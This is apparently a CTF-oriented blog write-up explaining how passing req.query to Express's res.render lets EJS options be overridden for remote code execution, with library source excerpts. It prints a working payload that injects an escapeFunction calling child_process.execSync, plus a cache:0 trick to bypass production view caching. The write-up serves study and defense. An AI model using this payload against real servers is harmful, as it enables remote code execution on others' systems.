Originally, I intended to write this article from a developer’s perspective. However, due to time constraints, I will first write a CTF-oriented article to record this issue. I will write from a developer’s perspective when I have more time.
In short, this article discusses the problems caused by using the following pattern:
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/', (req,res) => {
res.render('index', req.query);
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
Previous CTF challenges
There are two types of EJS-related challenges that have been created in CTFs. The first type is where you can control the second parameter of the render function, as shown above. The second type is where you cannot control the second parameter, but there is a prototype pollution vulnerability.
For the first type, I personally think that EJS’s handling of parameters is problematic. You may think that only data is passed in, but in fact, options and data are passed together. Therefore, you can modify options to control some execution processes and achieve RCE.
For the second type, the main idea is to pollute outputFunctionName
through prototype pollution, and then rely on EJS’s underlying code to concatenate JS code to achieve RCE.
However, EJS has added checks for outputFunctionName
to ensure that the input is a valid variable name.
This article mainly discusses the first type of situation.
Below are some related challenges that have appeared in the past. In the early days, prototype pollution was the main focus, but recently, more challenges are more about passing an object.
- Codegate CTF 2023 Preliminary - Music Player
- SEETF 2023 - Express JavaScript Security
- justCTF 2023 - Perfect Product
- hxp CTF 2022 - valentine
- Pwn2Win CTF 2021 - Illusion
- AIS3 EOF CTF 2019 Quals - echo
- XNUCA 2019 Qualifier - hardjs
Root Cause
After calling res.render()
, it will first go to express/lib/response.js:
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge res.locals
opts._locals = self.locals;
// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};
// render
app.render(view, opts, done);
};
Then, let’s check app.render
in express/lib/application.js:
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge app.locals
merge(renderOptions, this.locals);
// merge options._locals
if (opts._locals) {
merge(renderOptions, opts._locals);
}
// merge options
merge(renderOptions, opts);
// set .cache unless explicitly provided
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}
// primed cache
if (renderOptions.cache) {
view = cache[name];
}
// view
if (!view) {
var View = this.get('view');
view = new View(name, {
defaultEngine: this.get('view engine'),
root: this.get('views'),
engines: engines
});
if (!view.path) {
var dirs = Array.isArray(view.root) && view.root.length > 1
? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
: 'directory "' + view.root + '"'
var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
err.view = view;
return done(err);
}
// prime the cache
if (renderOptions.cache) {
cache[name] = view;
}
}
// render
tryRender(view, renderOptions, done);
};
Finally, tryRender
is called, and the code is in express/lib/application.js:
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
This view.render
will call the __express
method inside the view engine, and this method in EJS is renderFile
:
/**
* Express.js support.
*
* This is an alias for {@link module:ejs.renderFile}, in order to support
* Express.js out-of-the-box.
*
* @func
*/
exports.__express = exports.renderFile;
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
// Do we have a callback?
if (typeof arguments[arguments.length - 1] == 'function') {
cb = args.pop();
}
// Do we have data/opts?
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
}
opts.filename = filename;
}
else {
data = utils.createNullProtoObjWherePossible();
}
return tryHandleCache(opts, data, cb);
};
The key point here is the middle part:
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
In short, setting data.settings['view options']
can override opts
.
Next, follow down to handleCache
:
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
if (options.cache) {
if (!filename) {
throw new Error('cache option requires a filename');
}
func = exports.cache.get(filename);
if (func) {
return func;
}
if (!hasTemplate) {
template = fileLoader(filename).toString().replace(_BOM, '');
}
}
else if (!hasTemplate) {
// istanbul ignore if: should not happen at all
if (!filename) {
throw new Error('Internal EJS error: no file name or template '
+ 'provided');
}
template = fileLoader(filename).toString().replace(_BOM, '');
}
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
If options.cache
is set, use the already compiled content in the cache, otherwise compile it again.
The most important part is compile, which has the following code:
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
It will use escapeFn
to concatenate the code.
So we just need to pass in:
const payload = {
settings: {
'view options': {
client: true,
escapeFunction: '(() => {});return process.mainModule.require("child_process").execSync("id").toString()'
}
}
}
to execute any code and achieve RCE.
Cache Issue
Although the previous explanation was smooth, there is a cache issue.
Under production mode, view cache will be automatically enabled:
if (env === 'production') {
this.enable('view cache');
}
And this parameter will be automatically passed to options when rendering:
// set .cache unless explicitly provided
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}
Although we can override the original options through view options, if the original options already contain cache, it will be overridden again:
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
If we cannot override cache, then we cannot use the above method because the template will not be recompiled.
However, it doesn’t matter, fortunately this is JavaScript, pay attention to this line of code:
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}
If renderOptions.cache
is null, it will be set, and 0 == null
is false, so we can pass in cache: 0
to bypass the check and make if (options.cache)
false.
In fact, EJS has had many related issues since the past, the list is as follows:
- Unrestricted render option may lead to a RCE vulnerability #451
- Mitigate prototype pollution effects #601
- [Vulnerability] Server side template injection leads to RCE #663
- EJS, Server side template injection [email protected] Latest #720
- [email protected] has a server-side template injection vulnerability (Unfixed) #735
The author’s stance has remained the same from the past to the present:
The problem here is that EJS is simply a way of executing JS to render a template. If you allow passing of arbitrary/unsanitized options and data to the render function, you will encounter all security problems that would occur as a result of arbitrary code execution. Henny Youngman used to tell a joke: “The patient says, ‘Doctor, it hurts when I do this.’ So the doctor says, ‘Then don’t do that!’” I’m open to PRs that improve security, but this looks to me to be far beyond the purview of the library. These responsibilities live squarely in userland.
Basically, if developers want to use the library in this way, the author cannot do anything about it. This is not the responsibility of EJS and end users should not be allowed to pass in the entire object.
Recently, EJS developers have also added a notice in the README and on the official website due to receiving many similar issue reports:
Security professionals, before reporting any security issues, please reference the SECURITY.md in this project, in particular, the following: “EJS is effectively a JavaScript runtime. Its entire job is to execute JavaScript. If you run the EJS render method without checking the inputs yourself, you are responsible for the results.”
So this trick can be used now and in the future. If someone can control the object during rendering, it means that RCE can be achieved.
Later, I want to write another article from the developer’s perspective. Although what the EJS author said makes sense, at least as a library, EJS should remind developers in the documentation not to use it in this way. Although there is already a prompt now, it is more targeted at asking security researchers not to report, rather than asking developers not to use it in this way.
Or maybe this is actually a bad coding practice. There should not have been such a pattern in the first place that allows others to exploit it.
I haven’t figured this out yet. I’ll write about it when I do.